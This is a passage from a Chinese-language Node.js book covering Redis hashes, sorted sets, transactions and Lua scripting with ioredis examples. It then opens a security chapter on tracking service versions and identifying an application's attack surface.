Redis 还提供了几个与集合交互的其他命令,特别是用于处理集合之间的并集和差集的命令。还有 SRANDMEMBER 和 SPOP 命令,用于读取集合的随机条目和弹出一个条目。SSCAN 命令允许客户端通过使用游标迭代集合的条目,这是执行结果分页的一种方式。
与列表类似,清空集合中的所有条目将导致其键被移除。
哈希
Redis 哈希是一个单一键,其中包含多个字段/值对。Redis 哈希最接近 JavaScript 中的 new Map()。哈希内的值也被视为字符串,虽然它们具有一些与普通 Redis 字符串相同的操作(如增加值的能力)。与普通 Redis 字符串不同的是,哈希中的各个字段不能应用自己的元数据(例如 TTL)。在分片方面,哈希中的所有字段最终都会在同一台机器上。
在您的 REPL 中运行以下命令以进行哈希实验:
HSET obj a 1
> (integer) 1
HSET obj b 2
> (integer) 1
HSET obj b 3
> (integer) 0
HGETALL obj
1) "a" 2) "1" 3) "b" 4) "3"
就像列表命令一样,添加条目的哈希命令返回已添加的条目数量,尽管含义稍有不同。在这种情况下,第一次调用HSET obj b时,b字段尚不存在,因此操作的结果是 1,意味着首次添加了一个新字段。第二次运行命令时,返回值为 0,表示字段并非新添加。相反,调用替换了已经存在的值。最后,HGETALL命令检索哈希中所有字段/值对的列表。请注意,Redis 使用的简单协议无法区分字段和值;这两种类型的数据是交替的!当使用大多数 Redis 客户端包(包括ioredis)时,这会自动转换为等效的 JavaScript 对象{a:1,b:2}。
表 9-3 列出了一些 Redis 哈希命令及其在 JavaScript Map中的等效操作。
表 9-3. Redis 哈希命令及等效 JavaScript Map操作
| 操作 | Redis 命令 | JavaScript map 等效 |
|---|---|---|
| 设置条目 | HSET key field value |
map.set(field, value) |
| 移除条目 | HDEL key field |
map.delete(field) |
| 存在条目 | HEXISTS key field |
map.has(field) |
| 检索条目 | HGET key field |
map.get(field) |
| 获取所有条目 | HGETALL key |
Array.from(map) |
| 列出键 | HKEYS key |
Array.from(map.keys()) |
| 列出值 | HVALS key |
Array.from(map.values()) |
在 JavaScript 中增加Map条目时,您首先需要检索条目,增加值,然后再次设置它,假设映射包含一个Number实例的值。如果值包含具有属性v的对象,则可以像这样增加它们:map.get(field).v++。使用 Redis 的等效命令是HINCRBY key field 1。
考虑到 Redis 中的字符串数据类型可以保存任何可以表示为字节字符串的内容,包括 JSON 对象。在这种情况下,为什么您可能会选择使用哈希而不是 JSON 编码的字符串?哈希在以下情况下非常有用:当您希望将多个属性紧密存储在一起时,当所有属性应具有相同的 TTL 时,以及当您需要原子地操作一组键时。当所有字段值的大小非常大时,一次性检索整个内容是不可取的时候,哈希也非常有用。
作为示例,假设你有一个表示员工的 1MB JSON 对象。其中一个字段是员工的工资。这个工资的 JSON 表示可能如下所示:
{"wage": 100000, "...other fields": "..."}
要修改该文档中的wage字段,您需要调用GET key检索它,result = JSON.parse(response)解析它,result.wage += 1000增加工资,payload = JSON.stringify(result)序列化它,以及SET key payload持久化它。这些修改不能轻松地原子性地执行,因为您需要某种锁来防止其他客户端同时修改数据。还有读取和写入 1MB 负载的开销,以及解析和编码负载的开销。通过将这些数据表示为 Redis 哈希,您可以直接修改您想要的字段。
由于哈希中的所有字段都存储在单个 Redis 实例上,因此确保大部分数据不要使用单个庞大的哈希表示是很重要的。例如,如果您想在 Redis 中存储每个员工的工资信息,最好使用每个员工一个单独的键,而不是使用一个单一的哈希键和每个员工一个字段。
有序集合
Redis 有序集合是 Redis 中可用的较为复杂的数据结构之一。它存储一组按数值分数排序的唯一字符串值。可以根据分数范围查询条目。JavaScript 没有内置等效于 Redis 有序集合的数据结构,尽管可以使用多个数据结构构建一个。
Redis 有序集合的典型示例是游戏玩家得分排行榜。在这种用例中,数值分数是玩家所取得的成就,而值是玩家的标识符。Redis 提供了许多命令用于与有序集合交互,其中许多用于根据分数值范围检索条目。
运行以下命令创建一个示例玩家排行榜:
ZADD scores 1000 tlhunter
ZADD scores 500 zerker
ZADD scores 100 rupert
ZINCRBY scores 10 tlhunter
> "1010"
ZRANGE scores 0 -1 WITHSCORES
> 1) "rupert" 2) "100"
> 3) "zerker" 4) "900"
> 5) "tlhunter" 6) "1010"
前三个命令向有序集合添加条目。多次调用ZADD命令并使用相同的成员将替换成员的分数。当成员是新的时,ZADD命令返回 1,当条目已经存在时返回 0,就像列表和集合一样。ZINCRBY命令增加成员的分数,如果成员不存在,则假定分数为 0。
ZRANGE命令根据分数顺序检索有序集合中的条目列表。您可以普遍使用ZRANGE key 0 -1命令获取有序集合中所有成员的列表。WITHSCORES选项指示 Redis 也包括它们的分数。
表 9-4 列出了一些有序集合可用的命令。
表 9-4. Redis 有序集合命令
| 操作 | Redis 命令 |
|---|---|
| 添加条目 | ZADD key score member |
| 计算条目数量 | ZCARD key |
| 移除条目 | ZREM key member |
| 获取成员的分数 | ZSCORE key member |
| 增加成员的分数 | ZINCRBY key score member |
| 获取结果页 | ZRANGE key min max |
| 获取成员的数值排名 | ZRANK key member |
| 获取成员的逆序数值排名 | ZREVRANK key member |
| 获取分数范围内的成员 | ZRANGEBYSCORE key min max |
| 删除分数范围内的成员 | ZREMRANGEBYSCORE key min max |
以排行榜类比,通过调用 ZREVRANK scores tlhunter 可以查找玩家的数值排名,返回值为 0,因为其分数最高。许多命令都有一个 REV 变体,以反向方式处理排名。还有一些命令有一个 REM 变体,从排序集合中移除条目。
通用命令
Redis 中的大多数命令都与特定数据类型的键相关联。例如,HDEL 命令从哈希中删除字段。但也有很多命令要么影响任何类型的键,要么全局影响 Redis 实例。
表 9-5 包含一些影响任何数据类型键的流行命令。
表 9-5. 通用 Redis 命令
| 操作 | Redis 命令 |
|---|---|
| 删除键 | DEL key |
| 检查键是否存在 | EXISTS key |
| 设置键的过期时间 | EXPIRE key seconds, PEXPIRE key ms |
| 获取键的过期时间 | TTL key, PTTL key |
| 移除键的过期时间 | PERSIST key |
| 获取键的数据类型 | TYPE key |
| 重命名键 | RENAME key newkey |
| 获取键列表 | KEYS pattern(*表示所有键) |
注意,KEYS 命令用于本地调试,但效率低下,不应在生产环境中使用。
表 9-6 列出了一些与 Redis 服务器交互的流行命令,这些命令不与单个键关联。
表 9-6. Redis 服务器命令
| 操作 | Redis 命令 |
|---|---|
| 获取键的数量 | DBSIZE |
| 移除所有键 | FLUSHDB |
| 获取服务器信息 | INFO |
| 列出正在运行的命令 | MONITOR |
| 将数据保存到磁盘 | BGSAVE, SAVE |
| 关闭连接 | QUIT |
| 关闭服务器 | SHUTDOWN |
注意,MONITOR 命令用于本地调试,但效率低下,不应在生产环境中使用。
其他类型
Redis 还支持一些其他数据类型及其相关命令,本章节未涵盖。
其中一组命令处理地理位置数据。在内部,地理位置命令操作按纬度和经度值排序的有序集合,这些值表示为地理哈希。可以使用另一个命令快速检索所有位于给定经纬度对可配置半径内的条目。这对于查找 1 公里半径内的所有企业等操作非常有用。
此外,还有一种 HyperLogLog 数据结构,用于存储大型数据集的压缩表示。这允许你测量事件发生的大致次数。适用于存储不需要百分之百准确性的采样数据。
Redis 中另一组有趣的命令是 PubSub(发布/订阅)命令系列。这些命令允许客户端订阅通道以接收消息或向通道发布消息。消息的副本将发送到每个监听该通道的客户端,尽管通道也可以没有订阅者。这使得一次性向多个客户端发送信息变得非常方便。
Streams 是 Redis 的最新添加。它们是一组持久的只追加事件,类似于 PubSub 命令,客户端可以接收事件,但更强大。事件由时间戳和序列号组合来标识,因此标识符是有序的。流使用所谓的“消费者组”允许消息要么扇出到多个客户端,要么仅由一个客户端消费。Redis Streams 与 Kafka 竞争。
追求原子性
原子性是一系列操作的属性,其中要么所有操作都执行,要么一个都不执行。当这些操作正在执行时,外部客户端永远不会观察到中间状态,即只有一些操作已经应用了。原子性的“hello world”示例是在账户 A 和账户 B 之间转移 100 美元的账户余额。为了使转账是原子的,账户 A 的余额必须减少 100 美元,账户 B 的余额必须增加 100 美元。如果发生故障,则这两个更改都不应发生。并且在转账过程中,没有客户端应该看到一个余额已经改变而另一个没有改变。
在单个 Redis 服务器中,执行的每一个单一命令都是原子的。例如,好玩的 RPOPLPUSH 命令在两个不同的列表上操作,从一个列表中移除一个条目并添加到另一个列表。Redis 强制执行该命令的完全成功或失败。服务器在任何时候都不会处于弹出值消失或同时存在于两个列表中的状态,无论是由于失败还是另一个客户端在命令执行期间对列表进行读取操作。另一方面,多个连续命令的执行不是原子的。例如,如果客户端运行 RPOP 然后 LPUSH,另一个客户端可以在这两个命令执行之间读取或写入列表。
Redis 提供了几种“复合命令”,这是我刚刚发明的一个术语,意思是一个单一命令可以替代多个命令。Redis 为常见用例提供了这些复合命令,其中原子性很重要。表 9-7 是这些复合命令的示例,以及它们对应的 Redis 命令和应用伪代码。
表 9-7. Redis 复合命令
| Command | Alternative pseudocode |
|---|---|
INCR key |
GET key ; value++ ; SET KEY value |
SETNX key value |
!EXISTS key ; SET key value |
LPUSHX key value |
EXISTS key ; LPUSH key value |
RPOPLPUSH src dest |
RPOP src ; LPUSH dest value |
GETSET key value |
GET key ; SET key value |
通过运行一个复合命令,您可以保证原子地修改数据集,并且效率高。如果选择运行命令的替代版本,则需要从应用程序代码进行多次往返,此期间 Redis 数据库处于不良状态。在这种情况下,另一个客户端可能会读取中间状态,或者应用程序可能会崩溃,使数据永远无效。
这个难题在图 9-2 中有所体现,两个客户端同时运行GET、递增和SET命令。

图 9-2. 类似GET和SET的顺序 Redis 命令不是原子的
在这种情况下,客户端 A 和客户端 B 都希望递增一个数字。他们几乎同时读取counter的值,并得到值 0。接下来,两个客户端在本地递增值,计算出值 1。最后,两个客户端几乎同时写入他们递增后的值,将值设置为 1,而不是正确的值 2。
有时候你会很幸运,需要在 Redis 中执行的操作具有单个可用命令。图 9-3 展示了如何使用INCR命令正确解决前述难题。

图 9-3. INCR在 Redis 中是原子操作
在这种情况下,两个客户端几乎同时运行INCR命令。Redis 服务器在内部处理变化的细节,客户端不再有数据丢失的风险。在这种情况下,值安全地增加到 2。
有时候你可能就没那么幸运了。例如,你可能需要从名为employees的集合中删除员工 ID#42,同时还要从名为employee-42的哈希表中删除公司 ID。在这种情况下,没有 Redis 命令可以同时从集合中删除并从哈希表中删除。可能需要成千上万个命令来处理类似的每种情况。当遇到这种情况时,你需要使用另一个工具。
注
Redis 确实有一种称为流水线的特性,其中客户端发送一系列由换行符分隔的命令,而不是作为单独的消息。这确保了命令在给定客户端内部按顺序运行,但不能保证其他客户端不会在另一个客户端的流水线中间运行命令。流水线中的单个命令可能失败。这意味着流水线不会使命令原子化。
在“ID 生成问题”中提到的 ID 生成问题可以通过这两个复合命令来解决。首先使用INCR命令原子地增加计数器来实现。一个单一的键用于表示下一个可用的短 URL 代码。第二个操作使用SETNX命令设置 URL 值。与原始示例一致,在写入文件的操作中,如果条目已经存在(这不应该发生),操作将失败。
事务
Redis 确实提供了一种机制来确保多个命令的原子执行。这是通过在一系列命令之前加上MULTI,然后跟随EXEC来完成的。这允许从单个客户端连接发送的所有命令完全执行而没有中断。如果事务中的任何命令失败,那么成功执行的命令的效果将被回滚。
示例 9-3 演示了如何使用ioredis包创建 Redis 事务。创建一个名为redis/transaction.js的新文件,并将代码添加到其中。
示例 9-3. redis/transaction.js
#!/usr/bin/env node // npm install ioredis@4.17 const Redis = require('ioredis');
const redis = new Redis('localhost:6379');
(async () => {
const [res_srem, res_hdel] = await redis.multi() 
.srem("employees", "42") // Remove from Set
.hdel("employee-42", "company-id") // Delete from Hash
.exec(); 
console.log('srem?', !!res_srem[1], 'hdel?', !!res_hdel[1]);
redis.quit();
})();
ioredis提供了一个可链式调用的.multi()方法来开始一个事务。
.exec()方法完成事务。
此应用程序运行一个包含两个命令的事务。第一个命令从一个集合中移除一个员工,第二个命令从一个哈希中移除员工的公司 ID。在新的终端窗口中运行以下命令,首先创建一些数据,然后执行 Node.js 应用程序:
$ docker exec distnode-redis redis-cli SADD employees 42 tlhunter
$ docker exec distnode-redis redis-cli HSET employee-42 company-id funcorp
$ node redis/transaction.js
> srem? true hdel? true
运行 Redis 事务时会返回多个结果,每个命令在事务中执行一次。ioredis包将这些命令的结果表示为一个数组,应用程序将其解构为两个变量。每个变量也是一个数组,第一个元素是错误状态(在本例中为 null),第二个是命令的结果(在本例中为 1)。再次运行 Node.js 应用程序,输出应该显示srem? false hdel? false。
当 Redis 从客户端 A 接收到一个事务时,也就是说它已经收到了MULTI命令但还没有收到EXEC命令,其他客户端仍然可以自由发出命令。这一点很重要,因为一个慢速的客户端会阻止 Redis 响应其他客户端。乍看起来可能违反了原子性的规则,但关键在于 Redis 只是将命令排队而不运行它们。一旦服务器最终接收到EXEC命令,事务中的所有命令就会运行。此时其他客户端无法与 Redis 交互。图 9-4 展示了这种情况的泳道图。
事务很有用,但它们也有一个主要限制:一个命令的输出不能作为另一个命令的输入。例如,使用MULTI和EXEC,不能构建RPOPLPUSH命令的版本。该命令依赖于从RPOP输出的元素作为LPUSH命令的参数使用。

图 9-4. Redis 事务在提交更改前等待EXEC
在事务内部也无法执行其他类型的逻辑。例如,无法检查员工哈希是否有名为resigned的字段,然后有条件地运行一个命令将salary字段设置为 0。要克服这些限制,需要更强大的工具。
Lua 脚本
Redis 提供了一种在 Redis 服务器内执行过程化脚本的机制。这使得复杂的数据交互成为可能(例如,在写入另一个键之前读取一个键并做出决策)。其他数据库中也存在类似的概念,比如 Postgres 的存储过程或 MongoDB 运行 JavaScript 的能力。Redis 选择使用易于嵌入的 Lua 脚本语言,而不是发明一种新的语言。
Lua 具有许多与其他语言(例如 JavaScript)^(2) 相同的特性。它提供数组(尽管索引从 1 开始而不是 0)和表(类似于 JavaScript 的Map),并且像 JavaScript 一样是动态类型的。它有空值(null)类型、布尔值、数字、字符串和函数。它支持for和while循环、if语句等。Lua 的完整语法在此不作详述,但在编写 Redis 脚本时,您可以轻松查阅相关信息。
在 Redis 中有多种模式可用于运行 Lua 脚本。第一种模式使用更简单,但效率较低。通过调用EVAL命令并将整个 Lua 脚本作为字符串参数传入来使用。这并非理想之选,因为每次调用命令时都会消耗带宽,可能会发送较长的脚本。这种模式类似于运行 SQL 查询,每次查询调用都需要整个查询字符串的副本。
第二种模式更高效,但需要额外的工作来确保其正确性。在这种模式下,首先调用SCRIPT LOAD命令,并将脚本作为参数传递。当 Redis 接收到该命令时,将返回一个 SHA1 字符串以便将来引用该命令。^(3) 稍后可以使用EVALSHA命令执行该脚本,并将 SHA1 作为参数。这样可以减少传输的数据量。
EVAL和EVALSHA命令本质上具有相同的参数,不同之处在于第一个参数分别是完整脚本或脚本引用。以下是命令签名的样式:
EVAL script numkeys key [key ...] arg [arg ...]
EVALSHA sha1 numkeys key [key ...] arg [arg ...]
请回忆之前提到的,Redis 命令组只能影响存在于同一 Redis 实例上的键。这也适用于事务和 Lua 脚本。这意味着在尝试执行脚本之前,Redis 需要知道将要访问哪些键。因此,在执行脚本时需要提供所有键作为参数。
警告
可以在 Lua 脚本中嵌入键名,甚至动态生成它们,而不必将键名作为参数传入。但不要这样做!在单个 Redis 实例上测试时可能会正常工作,但如果未来扩展到 Redis 集群,则会带来麻烦。
在运行脚本时可以提供键名和参数。第二个 numkeys 参数是必需的,以便 Redis 可以区分键名和其他参数。该值告诉 Redis,接下来的 numkeys 参数是键,之后的任何参数是脚本参数。
编写 Lua 脚本文件
现在您已经熟悉 Lua 脚本背后的一些理论,可以开始自己动手做些什么了。例如,您可以为多人游戏构建一个等待大厅。当玩家尝试加入游戏时,他们将被添加到大厅中。如果大厅中已经有足够多的玩家(在这种情况下是四个玩家),那么玩家将从大厅中移除,并创建一个游戏。将创建一个哈希来包含正在运行的游戏集合及其中的玩家。此时,应用程序理论上可以通知玩家游戏已经开始,但这是留给读者的一项练习。
对于应用程序的第一部分,您将创建一个 Lua 文件,其中包含要在 Redis 服务器上执行的代码。创建一个名为 redis/add-user.lua 的新文件,并将内容从 Example 9-4 添加到其中。我敢打赌你从未想过会在 Node.js 书中编写 Lua 代码!
示例 9-4. redis/add-user.lua
local LOBBY = KEYS[1] -- Set
local GAME = KEYS[2] -- Hash
local USER_ID = ARGV[1] -- String
redis.call('SADD', LOBBY, USER_ID)
if redis.call('SCARD', LOBBY) == 4 then
local members = table.concat(redis.call('SMEMBERS', LOBBY), ",")
redis.call('DEL', LOBBY) -- empty lobby
local game_id = redis.sha1hex(members)
redis.call('HSET', GAME, game_id, members)
return {game_id, members}
end
return nil
Redis 提供的 Lua 脚本环境附带两个全局数组,用于访问脚本提供的参数。第一个称为 KEYS,其中包含 Redis 键的列表,第二个称为 ARGV,其中包含普通参数。第一个键分配给名为 LOBBY 的变量。这是一个包含玩家标识符列表的 Redis 集合。local 关键字是 Lua 声明局部变量的方式。第二个键分配给名为 GAME 的变量,这是一个包含活动游戏的哈希表。最后,脚本的唯一参数分配给 USER_ID,这是刚刚添加到大厅的玩家的 ID。
接下来,将玩家标识符添加到 LOBBY 键中。Redis Lua 环境提供了 redis.call() 方法,允许 Lua 调用 Redis 命令。在此文件中调用的第一个命令是 SADD(集合添加)命令。
下一个构造是第一行命令式编程发生的地方(在这种情况下是一个if语句)。此语句调用SCARD(集合基数)命令来计算集合中条目的数量。如果条目数量不等于 4(对于第一次运行来说确实不是),则跳过if语句的主体。然后,调用最后一行,并返回一个nil值。nil值然后由ioredis包转换为 JavaScript 的null。
然而,一旦大厅中添加了第四名玩家,if语句的主体将被执行。通过使用SMEMBERS(集合成员)命令从大厅中检索玩家列表。使用 Lua 的table.concat()函数将玩家列表转换为逗号分隔的字符串。接下来,大厅被清空。请记住,空列表会被删除,因此在这种情况下,调用DEL(删除)命令实际上是清空列表。
接下来,游戏的标识符被生成。有很多方法可以生成这样一个 ID,但在这种情况下,使用了成员字符串的 SHA1 哈希。Lua 没有自带的 SHA1 函数,但 Redis 提供的 Lua 环境中有。在这种情况下,函数通过redis.sha1hex()提供。返回的字符串应该在所有游戏中是唯一的,假设相同的玩家不能同时加入多个游戏。^(4) 然后,将此标识符使用HSET设置到游戏哈希中,其中字段名是游戏 ID,值是逗号分隔的玩家 ID 列表。
最后,返回一个包含两个元素的数组(表),其中第一个是游戏 ID,第二个是玩家列表。脚本可以在运行之间返回不同类型的数据,在这种情况下,脚本返回表或 nil。
该脚本原子性地向大厅添加玩家并创建游戏。它要求大厅和游戏哈希都存储在同一个 Redis 实例中。您可以通过使用单个 Redis 实例或在命名键时使用大括号来确保这一点。通常,Redis 通过对键进行哈希来选择将哪个实例托管在哪个实例上。但是,如果在键名的子集中使用大括号,则仅使用大括号内的值进行哈希。在这种情况下,如果大厅键名为lobby{pvp},游戏键名为game{pvp},那么键总是会在一起。
单独看 Lua 脚本并不是很有趣,但一旦创建了 Node.js 应用程序,事情将变得更加有趣。
加载 Lua 脚本
此应用程序连接到 Redis 服务器,评估脚本,并插入四名玩家。这相当基础,旨在说明如何调用命令,而不是与 Web 服务器集成以暴露完全功能的游戏应用程序。
创建一个名为redis/script.js的新文件,并将示例 9-5 的内容添加到其中。
示例 9-5. redis/script.js
#!/usr/bin/env node
// npm install ioredis@4.17
const redis = new (require('ioredis'))('localhost:6379');
redis.defineCommand("adduser", {
numberOfKeys: 2,
lua: require('fs').readFileSync(__dirname + '/add-user.lua')
});
const LOBBY = 'lobby', GAME = 'game';
(async () => {
console.log(await redis.adduser(LOBBY, GAME, 'alice')); // null
console.log(await redis.adduser(LOBBY, GAME, 'bob')); // null
console.log(await redis.adduser(LOBBY, GAME, 'cindy')); // null
const [gid, players] = await redis.adduser(LOBBY, GAME, 'tlhunter');
console.log('GAME ID', gid, 'PLAYERS', players.split(','));
redis.quit();
})();
该文件从要求ioredis包并建立连接开始。接下来,读取add-user.lua脚本的内容,并传递给redis.defineCommand()方法。此方法抽象了 Lua 命令,并使应用程序能够使用所选择的名称定义命令。在这个例子中,脚本被别名为一个名为adduser的命令。
接下来,声明了两个由 Redis Lua 脚本使用的键名。在这种情况下,大厅列表键是lobby,游戏哈希是game。从理论上讲,这些键名可以根据每次调用而变化,因为它们并不是脚本本身的一部分。例如,这可以允许游戏有多个大厅,例如一个用于银级玩家,另一个用于金级玩家。
接下来,异步函数调用redis.adduser()方法四次,模拟四个不同的玩家加入大厅。之前调用的redis.defineCommand()方法在redis对象上创建了这个新的redis.adduser()方法。这个新方法的参数反映了传递给 Lua 脚本的参数(在本例中为大厅键、游戏键和玩家 ID)。请注意,这并不会在 Redis 服务器上创建一个名为ADDUSER的命令;它只是一个本地 JavaScript 方法。
调用redis.adduser()将分别运行存储在 Redis 中的add-user.lua脚本。前三次调用将各自返回null。然而,第四次调用会触发游戏创建逻辑。在这种情况下,将返回一个数组,第一个值是游戏 ID (gid),第二个值是玩家列表 (players)。
将所有内容整合在一起
现在,应用程序文件和 Lua 文件已准备就绪,是时候运行应用程序了。在两个单独的终端窗口中运行以下两个命令。第一个命令将运行MONITOR命令,打印 Redis 服务器接收到的所有命令。第二个命令运行应用程序:
$ docker exec -it distnode-redis redis-cli monitor
$ node redis/script.js
应用程序显示了对redis.adduser()的四次调用的结果。在我的情况下,应用程序的输出如下所示:
null
null
null
GAME ID 523c26dfea8b66ef93468e5d715e11e73edf8620
PLAYERS [ 'tlhunter', 'cindy', 'bob', 'alice' ]
这说明加入的前三位玩家并未引发游戏启动,但第四位玩家引发了游戏。通过返回的信息,应用程序随后可以选择通知这四名玩家,例如通过 WebSocket 向他们推送消息。
MONITOR命令的输出可能会更有趣一些。该命令显示几列信息。第一列是命令的时间戳,第二列是运行命令的客户端标识符(或如果是由 Lua 脚本运行,则是字符串lua),剩余部分是正在执行的命令。在我的机器上,输出的简化版本如下所示:
APP: "info"
APP: "evalsha" "1c..32" "2" "lobby" "game" "alice"
APP: "eval" "local...\n" "2" "lobby" "game" "alice"
LUA: "SADD" "lobby" "alice"
LUA: "SCARD" "lobby"
... PREVIOUS 3 LINES REPEATED TWICE FOR BOB AND CINDY ...
APP: "evalsha" "1c..32" "2" "lobby" "game" "tlhunter"
LUA: "SADD" "lobby" "tlhunter"
LUA: "SCARD" "lobby"
LUA: "SMEMBERS" "lobby"
LUA: "DEL" "lobby"
LUA: "HSET" "game" "52..20" "tlhunter,cindy,bob,alice"
执行的第一个命令是 INFO 命令。ioredis 包运行此命令以了解 Redis 服务器的功能。之后,ioredis 对 Lua 脚本本身进行哈希并尝试通过发送带有它计算的 SHA1 的 EVALSHA 命令来为玩家 alice 执行它(缩写为 1c..32)。该命令失败,ioredis 回退到直接运行 EVAL,并传递脚本的内容(缩写为 local…)。一旦这发生,服务器现在在内存中存储了脚本的哈希。Lua 脚本调用了 SADD 和 SCARD 命令。EVALSHA、SADD 和 SCARD 命令分别再次重复两次,一次为 bob,一次为 cindy。
最后,第四次调用是为玩家 tlhunter 进行的。这导致执行 SADD、SCARD、SMEMBERS、DEL 和 HSET 命令。
此时,你已经完成了对 Redis 服务器的操作。切换到运行 MONITOR 命令的终端窗口,并使用 Ctrl + C 终止它。你也可以切换到运行 Redis 服务器的终端,并使用相同的键序列终止它,除非你想继续进行更多实验。
作为经验法则,只有当使用常规命令和事务无法原子执行相同操作时,才应使用 Lua 脚本。首先,将脚本存储在 Redis 中至少会带来一定的内存开销。然而更重要的是,Redis 是单线程的,执行的 Lua 也是如此。任何缓慢的 Lua 脚本(甚至是无限循环)都会拖慢连接到服务器的其他客户端。解析代码和评估它也会有性能损失。如果运行 Lua 脚本来执行单个 Redis 命令,它无疑会比直接运行 Redis 命令慢。
^(1) 例如,一个字符“È”有单字节和多字节 UTF 表示,二进制比较时会被视为不相等。
^(2) 如果你想看看用 Lua 实现的类似 Node.js 的平台是什么样子,请查看 Luvit.io 项目。
^(3) Redis 生成脚本的 SHA1 哈希并用其在内部缓存中引用。
^(4) 假设玩家们没有发现 SHA1 冲突。
第十章:安全性
安全性对所有应用程序都是一个重要问题,特别是那些面临网络的应用程序。传统上,影响 Web 应用程序最大的漏洞是简单的 SQL 注入攻击。多年来,这种攻击一直由于文档不良和库要求用户手动构建 SQL 查询字符串而广泛存在。幸运的是,过去十年中,编程社区已经显著发展,你很难找到一个现代化的库或教程,它们会推广查询字符串的串联。
然而,SQL 注入仍然是应用程序安全性最高风险之一,在 OWASP 十大安全风险 中排名第一。SQL 注入攻击已经有很多详细的文档,并且数据库库中的脆弱边缘情况足够引起注意,因此我不打算在本章中详细讨论它们。
然而,有一些新的独特挑战似乎是 Node.js 平台固有的,这些挑战并没有得到广泛理解。甚至还有一些相对较新的工具可以帮助自动发现和修补这些漏洞。这些挑战和工具是本章的重点。
其中一个挑战是确定应用程序的攻击面。传统上,攻击来自外部来源,比如攻击者通过网络发送恶意请求。但是当攻击者编写的恶意代码进入您的应用程序依赖的包时会发生什么呢?
在深入研究各个安全问题之前,制定一个检查清单以帮助识别不同应用程序的健康状态非常重要。这一点在那些使用多种微服务来驱动应用程序的组织中尤为重要。
维护代码库
构建后端系统的常见模式是使用微服务来表示应用程序的各个领域。通常通过创建单独的版本控制代码库、初始化新的模块结构,然后添加 JavaScript 文件来实现。这可以从头开始,也可以模仿其他代码库中使用的模式。
在这些情况下,团队和代码库通常是一对多的所有关系,尽管有时会有几个受欢迎的项目,多个团队会共同贡献。其他时候,一些代码库可能会变成孤立无主,没有明确的所有者。我个人曾在一些公司工作过,几个团队共同拥有几十个微服务。
拥有这些项目的团队有不同的优先事项。有时候,一个团队非常重视保持项目的最新状态和应用安全补丁。其他时候,一个项目的 package-lock.json 可能会长时间不被改动。
有时候,需要指定一位工程师负责整个组织中所有 Node.js 项目的健康状态。当我加入一家公司时,我通常会自愿承担这个角色。这样做不仅有助于公司保持控制,还帮助我熟悉公司的微服务及其相互操作方式。
我采用了一个模式,也建议你考虑一下,首先追踪公司使用的不同服务,并维护一个包含所有遇到的不同服务的电子表格。
即使应用程序可能在几种不同的范例(这里是 Kubernetes,那里是专用的 VPS,还有一点 Lambda)下运行,组织通常仍然会使用单一版本控制服务来组织其所有代码。这个工具是获取服务列表的最佳地点。例如,GitHub 提供了按语言列出仓库的功能:
https://github.com/<org>?language=javascript
一旦您获取了组织中的仓库列表,就需要缩小条目,直到您只有一份活跃的 Node.js 服务列表。为您找到的每项服务在表格中创建一个新行。确保在表格中跟踪您能够的任何相关信息,例如指向仓库的链接,拥有仓库的团队,部署媒介,以及最重要的是项目运行的 Node.js 版本。
我还喜欢跟踪一些其他信息,比如项目使用的重要软件包的版本。例如,Web 服务器软件包的名称和版本,以及适用的情况下,组织维护的任何重要软件包的版本。跟踪 Web 服务器很重要,因为在安全方面,它是 HTTP 服务器的主要进出口。它通常是应用程序中最复杂的部分,因此是最有可能暴露安全漏洞的组件之一。
一些组织选择发布用于与重要服务通信的内部软件包,而不是记录和公开用于与服务通信的协议。例如,公司可能已发布一个名为 @corp/acct 的账户软件包。跟踪这些内部软件包同样重要,因为它可能影响到在账户服务中停用和放弃哪些功能的决策。
表 10-1 是这种电子表格中可能跟踪的信息的一个示例。
表 10-1. Node.js 服务电子表格示例
| 服务 | 团队 | Node.js 版本 | 部署 | 服务器 | 账户包 |
|---|---|---|---|---|---|
| 画廊 | 自拍 | v10.3.1 | Beanstalk | express@v3.1.1 | @corp/acct@v1.2.3 |
| 档案 | 档案 | v12.1.3 | Kubernetes | @hapi/hapi@14.3.1 | @corp/acct@v2.1.1 |
| 调整器 | 自拍 | v12.13.1 | Lambda | N/A | N/A |
| 朋友查找 | 朋友 | v10.2.3 | Kubernetes | fastify@2.15.0 | @corp/acct@v2.1.1 |
在这个表格中,服务列包含项目的通用名称。这可以是 GitHub 存储库的名称,它在网络上标识自己的服务名称,或者理想情况下两者兼有。团队列包含拥有项目的团队。尽管可能有多个团队为项目做出贡献,但通常会有一个所有者的概念。
Node.js 版本列不言自明,但有时可能很难找到确切的 Node.js 版本,比如在 AWS Lambda 上运行服务时。在这些情况下,您可能需要记录process.version值以获得准确的结果。部署列传达有关进程如何部署和管理的信息,例如作为 Kubernetes pod 或通过 AWS Beanstalk 运行。
服务器列包含有关 Web 服务器包的信息,特别是名称和版本。最后,账户包包含关于内部@corp/acct包的信息,对于这个虚构的组织来说,这个包非常重要。
现在列表已编制完成,是时候逐个检查并突出显示任何已过时的条目了。例如,如果当前长期支持(LTS)版本的 Node.js 是 v14,那么意味着 Node.js v12 可能处于维护模式,Node.js v10 及更早的版本已不再更新。更新Node.js 版本列,将活跃 LTS 的服务标记为绿色,维护中的服务标记为黄色,而老旧的服务标记为红色。“升级 Node.js” 包含有关如何处理过时版本 Node.js 的信息。
对于包含 web 服务器和内部模块等包列也适用相同原则。对于这些,您可能需要制定自己的颜色编码系统。例如,Express 和 Fastify web 服务器很少发布新的主要版本,因此可能只有当前主要版本应标记为绿色。另一方面,Hapi 框架发布主要版本的频率较快,可能最近的两个主要版本值得标记为绿色背景。“升级依赖项” 包括自动化包升级的解决方案。
提示
我鼓励您进行一些侦探工作,并为组织中的服务汇编这样的电子表格。完成后,您将更好地理解您的应用程序。在减少技术债务时,此表格将是信息的重要来源。
识别攻击面
大多数攻击似乎发生在应用程序的边缘,即一个范式遇到另一个范式的地方。一些常见的例子包括将传入的 HTTP 请求转换为 JavaScript 对象,将修改后的对象序列化为 SQL 查询,以及将对象生成 HTML 文档。
传统上,服务的攻击通常通过“前门”进行,也就是说,暴露给外部消费者的应用程序部分。对于 HTTP 服务来说,这意味着传入的 HTTP 请求;对于工作进程来说,这可能意味着它从中接收消息的队列;对于将上传的 HTML 文件转换为 PDF 的守护进程来说,前门可以被认为是文件系统。
这些情况很容易理解。你的应用程序本质上是一个有着巨大前门的城堡,因此在那里设置警卫是有意义的。当涉及到保护 HTTP 应用程序时,确保协议没有被篡改,传递的数据没有超出预期,并且未预料到的参数应该被忽略是非常重要的。Helmet npm 包提供了一个中间件,实施了几个安全最佳实践,适用于 HTTP 服务器,这可能对你有益。
